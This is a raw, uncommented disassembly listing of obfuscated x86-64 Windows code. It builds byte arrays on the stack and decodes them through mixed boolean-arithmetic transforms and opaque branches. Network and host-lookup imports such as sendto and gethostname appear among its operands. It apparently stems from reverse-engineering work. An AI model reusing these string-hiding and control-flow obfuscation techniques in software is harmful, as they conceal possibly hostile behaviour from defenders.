add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
mov byte [rbp + r10 + 0xd30], r12b
jmp 0x1401f078b
movabs rdx, 0x69851ae5ab44c1c
add rdx, r10
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401f020f
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
jmp 0x1401f00d1
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 8
jmp 0x1401f0576
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r12d, [rcx + r8]
sub r12b, 0x60
jmp 0x1401f06e9
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
sub cl, 0x68
jmp 0x1401f0680
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401f060b
movabs rdx, 0x89af1d39f33e9628
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x18
jmp 0x1401f002b
lea rax, [r9 + 0x61]
cmp rbx, rax
jae 0x1401f0229
lea rdx, [r10 + r12]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x1401f02f4
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f0244
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, r11d
jmp 0x1401f00f4
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f026e
movabs rdx, 0xc9de2ccdc2cfb328
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x18
jmp 0x1401f0576
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f029a
movabs rcx, 0x55db3bd485d6a158
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x68
jmp 0x1401f06e6
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401f02c9
movabs rdx, 0x1bd9c357e75a1870
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, r8b
sub r12b, al
sub r12b, 0x10
add r12b, dl
jmp 0x1401f06bb
lea rax, [r9 + 8]
cmp rbx, rax
jne 0x1401f02f0
movabs rcx, 0x6dd559e20be47db8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 8
jmp 0x1401f063b
mov r12, qword [rbp - 8]
lea rax, [r9 + rbx]
cmp rax, 2
je 0x1401f0552
lea rax, [r9 + 0x41]
cmp rbx, rax
jbe 0x1401f03a8
movabs rdx, 0x16d325271e29b05c
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
cmp rbx, 0x80
jae 0x1401f0527
lea rax, [r9 + 0x28]
cmp rbx, rax
jbe 0x1401f0449
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov r12b, cl
mov qword [rbp - 8], r12
cmp r9, 0x42
jb 0x1401f0131
movabs rdx, 0x71b4ff2c6d30b9c8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, cl
jmp 0x1401f063e
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f03d2
movabs rdx, 0xdcd1acaa7fad2774
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x2c
jmp 0x1401f002b
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f03ef
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401f060b
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f041b
movabs rcx, 0xbaca523b673e7aec
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x74
jmp 0x1401f06e9
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x1401f0336
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
sub cl, r11b
jmp 0x1401f0578
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x1401f0466
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x1401f00f4
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x1401f0490
movabs rdx, 0x41c0c31161150108
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x38
jmp 0x1401f071c
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1401f04bc
movabs rcx, 0x93bc599b859f6650
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r12d, [r8 + rcx]
sub r12b, 0x30
jmp 0x1401f06e6
lea rax, [r9 + 6]
cmp rbx, rax
jne 0x1401f04d9
movabs rdx, 0x59bae11ee722dd68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401f06a7
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1401f04fc
movabs rcx, 0x1fb968a248a65480
add rcx, r10
mov al, r8b
and al, cl
add cl, 0x80
jmp 0x1401f0680
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1401f0377
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x28
jmp 0x1401f004c
movabs rdx, 0x37b386afceb430e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, byte [rbp + r10 + 0xd30]
sub r12b, al
sub r12b, 0x20
add r12b, r8b
jmp 0x1401f02c1
movabs rdx, 0xfdb20e333037a7f8
add rdx, r10
mov al, r8b
and al, dl
mov ecx, r11d
sub cl, al
add cl, cl
sub cl, byte [rbp + r10 + 0xd30]
add cl, r8b
add cl, dl
mov qword [rbp - 8], rcx
movabs rdx, 0xe0b151f4e0f96384
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0xd30], al
add r9, r15
add rax, r9
sub r10, rax
jmp 0x1401f0722
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r12d, [rcx + r8]
sub r12b, 0x54
jmp 0x1401f06e9
movabs rdx, 0xb6eaacf105f23edc
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov r12b, r8b
sub r12b, al
sub r12b, 4
jmp 0x1401f02c1
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov qword [rbp - 8], rcx
jmp 0x1401f0666
movabs rcx, 0x64ef1666e167d994
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0xc
add cl, r8b
mov qword [rbp - 8], rcx
movabs rcx, 0x54b442ee1df27554
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add r9, r15
jmp 0x1401f068c
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r10
mov al, r8b
and al, cl
sub cl, 0x6c
add al, al
sub r8b, al
add cl, r8b
mov qword [rbp - 8], rcx
sub r10, r15
mov r12, qword [rbp - 8]
jmp 0x1401f078b
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r10
mov al, dl
and al, r8b
sub cl, al
lea r12d, [rcx + rcx]
add r12b, dl
add r12b, r8b
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r10
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
add cl, cl
add cl, r12b
add cl, dl
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add rbx, r9
mov qword [rbp - 8], r12
movzx eax, r12b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x1401f078b
movabs rdx, 0x6efc52c873c8a9bc
add rdx, r10
mov al, dl
and al, r11b
add al, al
mov cl, r11b
sub cl, al
sub cl, 0x24
add cl, dl
mov qword [rbp - 8], rcx
movabs rcx, 0xc3b095b691bb1f10
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x70
add cl, r8b
mov byte [rbp + r10 + 0xd30], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
mov r12, qword [rbp - 8]
jmp 0x1401f077c
movabs rcx, 0xa8fdcb45124532a4
add rcx, r10
mov al, r11b
and al, cl
add al, al
sub cl, al
sub cl, 0x7c
add cl, r11b
mov r12b, cl
mov qword [rbp - 8], r12
movzx eax, byte [rbp + r10 + 0xd30]
add rax, r9
add r10, rax
add r10, r15
jmp 0x1401efdd1
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x24
add cl, r8b
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x1401efdcc
movabs rcx, 0x289fac1d7322f8a4
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x7c
add cl, r8b
mov r12b, cl
mov qword [rbp - 8], r12
jmp 0x1401efdbc
lea rax, [rbp + 0x16a0f40]
mov cl, dl
mov qword [rbp - 8], rcx
jmp 0x1401f0806
lea rax, [rbp + 0x6bcacc]
mov qword [rbp - 8], r12
jmp 0x1401f0806
lea rax, [rbp + 0xd30]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
xor ebx, ebx
mov qword [rbp + 0x2d0], rbx
mov qword [rbp + 0x2d8], rbx
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bx
jne 0x1401f0824
mov rdx, rax
lea rcx, [rbp + 0x2c0]
call fcn.1400886d0
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1420]
call fcn.14026a60a
lea rdx, [rbp + 0x2c0]
cmp qword [rbp + 0x2d8], 7
cmova rdx, qword [rbp + 0x2c0]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r12d, [r9 - 0x3e]
mov r8d, r12d
lea rcx, [rbp + 0x1420]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1428]
call fcn.1400acf90
test rax, rax
jne 0x1401f08c6
mov rax, qword [rbp + 0x1420]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1420]
add rcx, rax
xor r8d, r8d
mov edx, r12d
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0x1420]
call fcn.1400a3400
nop
lea rcx, [rbp + 0x2c0]
call fcn.1400aacb0
mov byte [rbp + 0xa50], 0x9b
mov byte [rbp + 0xa51], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xa52], 0x90
mov byte [rbp + 0xa53], 0xdb
mov byte [rbp + 0xa54], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xa55], Ordinal_217
mov byte [rbp + 0xa56], 0x7b
mov byte [rbp + 0xa57], Ordinal_217
mov byte [rbp + 0xa58], 0x43
mov byte [rbp + 0xa59], Ordinal_211
mov byte [rbp + 0xa5a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xa5b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xa5c], 0x5e
mov byte [rbp + 0xa5d], Ordinal_211
mov byte [rbp + 0xa5e], 0x5d
mov byte [rbp + 0xa5f], Ordinal_211
mov byte [rbp + 0xa60], WSAGetLastError
mov byte [rbp + 0xa61], 0xc9
mov byte [rbp + 0xa62], 0x7a
mov byte [rbp + 0xa63], 0xcb
mov byte [rbp + 0xa64], Ordinal_79
mov byte [rbp + 0xa65], Ordinal_200
mov byte [rbp + 0xa66], 0x64
mov byte [rbp + 0xa67], Ordinal_200
mov byte [rbp + 0xa68], 0x54
mov byte [rbp + 0xa69], 0xc1
mov byte [rbp + 0xa6a], 0x5b
mov byte [rbp + 0xa6b], Ordinal_200
mov byte [rbp + 0xa6c], 0x9f
mov byte [rbp + 0xa6d], 0x3d
mov byte [rbp + 0xa6e], 0x9a
mov byte [rbp + 0xa6f], 0x3f
mov byte [rbp + 0xa70], 0x84
mov byte [rbp + 0xa71], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xa72], 0xa8
mov byte [rbp + 0xa73], Ordinal_60
mov byte [rbp + 0xa74], 0xad
mov byte [rbp + 0xa75], gethostname
mov byte [rbp + 0xa76], 0xb8
mov byte [rbp + 0xa77], Ordinal_60
mov byte [rbp + 0xa78], 0xad
mov byte [rbp + 0xa79], Ordinal_50
mov byte [rbp + 0xa7a], 0xa0
mov byte [rbp + 0xa7b], gethostname
mov byte [rbp + 0xa7c], 0xbf
mov byte [rbp + 0xa7d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xa7e], 0x78
mov byte [rbp + 0xa7f], Ordinal_50
mov byte [rbp + 0xa80], Ordinal_143
mov byte [rbp + 0xa81], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xa82], 0xb3
mov byte [rbp + 0xa83], Ordinal_46
mov byte [rbp + 0xa84], 0xb2
mov byte [rbp + 0xa85], Ordinal_41
mov byte [rbp + 0xa86], Ordinal_41
mov byte [rbp + 0xa87], Ordinal_41
xor eax, eax
mov qword [rbp + 0xa88], rax
mov dword [rbp + 0xa90], eax
mov word [rbp + 0xa94], ax
mov byte [rbp + 0xa96], al
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x47
jae 0x1401f1623
movzx r8d, byte [rbp + r9 + 0xa50]
mov rdx, r8
cmp rbx, r9
ja 0x1401f161a
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401f0ae7
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul r14, rax, 0xfffffffffffffffe
add r14, rcx
add r14, rdx
add r14b, 0x44
jmp 0x1401f0d3d
je 0x1401f1586
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f154f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401f1525
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401f14d4
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x1401f1611
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x1401f0b50
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x6c
jmp 0x1401f0b91
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401f14c3
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f14a1
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401f1455
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401f1430
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401f139e
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x1401f107b
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401f1058
lea rax, [r10 + 0x42]
cmp rbx, rax
je 0x1401f1036
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401f1011
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1401f0fef
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401f0fca
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1401f0fa6
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401f0f92
lea rbx, [r10 + 0x5a]
lea r10, [rbx + 0x40]
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x1401f15ea
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401f15be
lea rax, [r10 + 0x10]
cmp rbx, rax
jb 0x1401f0d46
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401f0d1a
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x1401f0cf7
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1401f0f2a
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1401f0e9f
mov rbx, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1401f0e77
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401f0e55
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401f0e30
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x1401f0e0d
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x1401f0dea
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401f0dc7
lea rcx, [r10 + 9]
cmp rbx, rcx
ja 0x1401f0da4
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x1401f0d90
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x1401f0d6d
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1401f0b9e
mov rbx, rcx
lea r10, [rcx + 6]
jmp 0x1401f0b9e
movabs rcx, 0x52bb1b4a0743074c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x14
jmp 0x1401f0b91
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
mov qword [rbp - 0x68], r14
jmp 0x1401f0b1e
movabs rcx, 0x78de3d7f265cb9bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x24
mov qword [rbp - 0x68], r14
jmp 0x1401f0aab
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x60
add dl, cl
jmp 0x1401f14f4
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x1401f1171
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x70
jmp 0x1401f1542
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401f1471
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
add dl, 0x80
jmp 0x1401f156c
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 8
jmp 0x1401f1105
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401f13be
movabs rcx, 0x43b75b02d2a2aa28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x18
jmp 0x1401f120a
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x1401f15a3
movabs rcx, 0x2c97f914e82954dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 4
cmp rbx, 4
jae 0x1401f134d
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x1401f1244
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov r14b, r8b
sub r14b, al
sub r14b, 0x38
add r14b, dl
cmp r10, 4
jb 0x1401f133c
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1401f14f4
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
lea rax, [rbx + r10]
cmp rax, 0x1000
je 0x1401f1376
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x1401f112f
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x1401f0ebd
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x1401f13ad
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 0x20
jmp 0x1401f1105
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401f156c
movabs rcx, 0xae051ffb7a16c950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x30
jmp 0x1401f1473
movabs rdx, 0xc116b11609a3a288
mov ecx, 0x24
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
jmp 0x1401f1542
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x40
jmp 0x1401f1182
movabs rdx, 0xe739d34b28bd54f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
jmp 0x1401f0d89
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x1401f10a3
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r14d, [rcx + rcx]
add r14b, r8b
add r14b, dl
jmp 0x1401f0f4d
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f10c0
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x1401f0e86
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f10dd
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_30
jmp 0x1401f0e3f
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401f110e
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 0x40
mov qword [rbp - 0x68], r14
jmp 0x1401f1576
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401f0f4d
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x1401f1020
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f1159
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x44
jmp 0x1401f0d89
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401f118b
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x68], rdx
jmp 0x1401f1520
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401f11b7
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
sub dl, 0x24
jmp 0x1401f156c
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401f11e1
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x14
jmp 0x1401f0e4e
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401f1213
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r8b
add dl, cl
mov qword [rbp - 0x68], rdx
jmp 0x1401f13f6
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401f0ebd
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea r14d, [rcx + r8]
sub r14b, 4
jmp 0x1401f15a3
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f1261
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x1401f0e86
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401f127e
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1401f13ad
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401f129b
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x1401f0fd9
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401f12c5
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 8
jmp 0x1401f1471
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401f12f1
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edx, [rcx + r8]
add dl, 0x80
jmp 0x1401f1542
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401f130e
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x1401f1171
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401f0ef8
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x70
jmp 0x1401f0d89
mov byte [rbp + r9 + 0xa50], r14b
mov qword [rbp - 0x68], r14
jmp 0x1401f15b6
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, byte [rbp + r9 + 0xa50]
sub cl, al
add cl, r8b
sub dl, 0x60
jmp 0x1401f1471
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
sub cl, byte [rbp + r9 + 0xa50]
jmp 0x1401f0e4b
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
mov qword [rbp - 0x68], rdx
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xa50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0xa50], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
mov r14, qword [rbp - 0x68]
jmp 0x1401f15a7
movabs rdx, 0x586fb6e44ef8d91c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401f156c
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub dl, 0x4c
add dl, cl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, dl
add r8b, cl
mov byte [rbp + r9 + 0xa50], r8b
jmp 0x1401f156c
movabs rdx, 0x7e92d9196e128b8c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
jmp 0x1401f1542
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401f14e3
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
add cl, cl
add dl, cl
add dl, r8b
mov qword [rbp - 0x68], rdx
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xa50], cl
add r10, r15
jmp 0x1401f1546
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 4
mov qword [rbp - 0x68], rdx
sub r9, r15
mov r14, qword [rbp - 0x68]
